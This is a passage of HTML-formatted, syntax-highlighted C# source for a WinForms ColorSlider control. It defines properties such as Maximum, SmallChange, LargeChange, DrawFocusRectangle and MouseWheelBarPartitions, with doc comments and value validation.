/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;exception&nbsp;cref="T:System.ArgumentOutOfRangeException"&gt;exception&nbsp;thrown&nbsp;when&nbsp;maximal&nbsp;value&nbsp;is&nbsp;lower&nbsp;than&nbsp;minimal&nbsp;one&lt;/exception&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Set&nbsp;Slider&nbsp;maximal&nbsp;point"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"ColorSlider"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">DefaultValue</span><span style="color: #007700">(</span><span style="color: #0000BB">100</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">int&nbsp;Maximum<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">barMaximum</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">value&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">barMinimum</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">barMaximum&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">trackerValue&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">barMaximum</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">trackerValue&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">barMaximum</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">ValueChanged&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">ValueChanged</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">,&nbsp;new&nbsp;</span><span style="color: #0000BB">EventArgs</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;throw&nbsp;new&nbsp;</span><span style="color: #0000BB">ArgumentOutOfRangeException</span><span style="color: #007700">(</span><span style="color: #DD0000">"Maximal&nbsp;value&nbsp;is&nbsp;lower&nbsp;than&nbsp;minimal&nbsp;one"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">uint&nbsp;smallChange&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gets&nbsp;or&nbsp;sets&nbsp;trackbar's&nbsp;small&nbsp;change.&nbsp;It&nbsp;affects&nbsp;how&nbsp;to&nbsp;behave&nbsp;when&nbsp;directional&nbsp;keys&nbsp;are&nbsp;pressed<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;value&gt;The&nbsp;small&nbsp;change&nbsp;value.&lt;/value&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Set&nbsp;trackbar's&nbsp;small&nbsp;change"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"ColorSlider"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">DefaultValue</span><span style="color: #007700">(</span><span style="color: #0000BB">1</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">uint&nbsp;SmallChange<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">smallChange</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set&nbsp;</span><span style="color: #007700">{&nbsp;</span><span style="color: #0000BB">smallChange&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">uint&nbsp;largeChange&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">5</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gets&nbsp;or&nbsp;sets&nbsp;trackbar's&nbsp;large&nbsp;change.&nbsp;It&nbsp;affects&nbsp;how&nbsp;to&nbsp;behave&nbsp;when&nbsp;PageUp/PageDown&nbsp;keys&nbsp;are&nbsp;pressed<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;value&gt;The&nbsp;large&nbsp;change&nbsp;value.&lt;/value&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Set&nbsp;trackbar's&nbsp;large&nbsp;change"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"ColorSlider"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">DefaultValue</span><span style="color: #007700">(</span><span style="color: #0000BB">5</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">uint&nbsp;LargeChange<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">largeChange</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set&nbsp;</span><span style="color: #007700">{&nbsp;</span><span style="color: #0000BB">largeChange&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">bool&nbsp;drawFocusRectangle&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gets&nbsp;or&nbsp;sets&nbsp;a&nbsp;value&nbsp;indicating&nbsp;whether&nbsp;to&nbsp;draw&nbsp;focus&nbsp;rectangle.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;value&gt;&lt;c&gt;true&lt;/c&gt;&nbsp;if&nbsp;focus&nbsp;rectangle&nbsp;should&nbsp;be&nbsp;drawn;&nbsp;otherwise,&nbsp;&lt;c&gt;false&lt;/c&gt;.&lt;/value&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Set&nbsp;whether&nbsp;to&nbsp;draw&nbsp;focus&nbsp;rectangle"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"ColorSlider"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">DefaultValue</span><span style="color: #007700">(</span><span style="color: #0000BB">true</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">bool&nbsp;DrawFocusRectangle<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">drawFocusRectangle</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">drawFocusRectangle&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">bool&nbsp;drawSemitransparentThumb&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gets&nbsp;or&nbsp;sets&nbsp;a&nbsp;value&nbsp;indicating&nbsp;whether&nbsp;to&nbsp;draw&nbsp;semitransparent&nbsp;thumb.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;value&gt;&lt;c&gt;true&lt;/c&gt;&nbsp;if&nbsp;semitransparent&nbsp;thumb&nbsp;should&nbsp;be&nbsp;drawn;&nbsp;otherwise,&nbsp;&lt;c&gt;false&lt;/c&gt;.&lt;/value&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Set&nbsp;whether&nbsp;to&nbsp;draw&nbsp;semitransparent&nbsp;thumb"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"ColorSlider"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">DefaultValue</span><span style="color: #007700">(</span><span style="color: #0000BB">true</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">bool&nbsp;DrawSemitransparentThumb<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">drawSemitransparentThumb</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">drawSemitransparentThumb&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">bool&nbsp;mouseEffects&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gets&nbsp;or&nbsp;sets&nbsp;whether&nbsp;mouse&nbsp;entry&nbsp;and&nbsp;exit&nbsp;actions&nbsp;have&nbsp;impact&nbsp;on&nbsp;how&nbsp;control&nbsp;look.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;value&gt;&lt;c&gt;true&lt;/c&gt;&nbsp;if&nbsp;mouse&nbsp;entry&nbsp;and&nbsp;exit&nbsp;actions&nbsp;have&nbsp;impact&nbsp;on&nbsp;how&nbsp;control&nbsp;look;&nbsp;otherwise,&nbsp;&lt;c&gt;false&lt;/c&gt;.&lt;/value&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Set&nbsp;whether&nbsp;mouse&nbsp;entry&nbsp;and&nbsp;exit&nbsp;actions&nbsp;have&nbsp;impact&nbsp;on&nbsp;how&nbsp;control&nbsp;look"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"ColorSlider"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">DefaultValue</span><span style="color: #007700">(</span><span style="color: #0000BB">true</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">bool&nbsp;MouseEffects<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">mouseEffects</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">mouseEffects&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">int&nbsp;mouseWheelBarPartitions&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">10</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gets&nbsp;or&nbsp;sets&nbsp;the&nbsp;mouse&nbsp;wheel&nbsp;bar&nbsp;partitions.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;value&gt;The&nbsp;mouse&nbsp;wheel&nbsp;bar&nbsp;partitions.&lt;/value&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;exception&nbsp;cref="T:System.ArgumentOutOfRangeException"&gt;exception&nbsp;thrown&nbsp;when&nbsp;value&nbsp;isn't&nbsp;greather&nbsp;than&nbsp;zero&lt;/exception&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Set&nbsp;to&nbsp;how&nbsp;many&nbsp;parts&nbsp;is&nbsp;bar&nbsp;divided&nbsp;when&nbsp;using&nbsp;mouse&nbsp;wheel"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"ColorSlider"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">DefaultValue</span><span style="color: #007700">(</span><span style="color: #0000BB">10</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">int&nbsp;MouseWheelBarPartitions<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">mouseWheelBarPartitions</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">value&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">mouseWheelBarPartitions&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;throw&nbsp;new&nbsp;</span><span style="color: #0000BB">ArgumentOutOfRangeException</span><span style="color: #007700">(</span><span style="color: #DD0000">"MouseWheelBarPartitions&nbsp;has&nbsp;to&nbsp;be&nbsp;greather&nbsp;than&nbsp;zero"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Color&nbsp;thumbOuterColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">White</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br 